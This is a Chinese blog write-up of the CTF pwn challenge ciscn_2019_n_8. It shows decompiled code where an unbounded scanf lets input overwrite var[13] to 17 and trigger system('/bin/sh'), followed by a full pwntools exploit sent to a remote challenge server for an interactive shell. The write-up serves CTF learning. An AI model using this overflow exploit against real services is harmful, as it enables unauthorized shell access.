ciscn_2019_n_8

该博客介绍了如何通过分析CISCN_2019_n_8的代码,利用未限制输入长度的__isoc99_scanf函数,构造特定payload覆盖var[13]为17,从而触发系统调用获取Shell。博客详细展示了exploit的编写过程,包括使用pwn库发送payload并进行交互。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ciscn_2019_n_8

使用checksec查看:
在这里插入图片描述
保护算是全开了,似乎有点棘手,先放进IDA中查看下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}
  • var是一个数组
  • var[13] = 0;var[13]已经被初始化为0了
  • if ( *(_QWORD *)&var[13] == 17LL ) system("/bin/sh");:只需要满足var[13] == 17即可getshell

题目思路

  • 只需要满足var[13] == 17即可getshell
  • __isoc99_scanf()函数没有限制输入数据的长度
  • 直接将var[13]覆盖成17就行了

步骤解析

完整exp

from pwn import *

#start
# r = process("../buu/ciscn_2019_n_8")
r = remote("node4.buuoj.cn",25323)

#paramas

#attack
payload = p32(17) * 14
r.recv()
r.sendline(payload)

r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值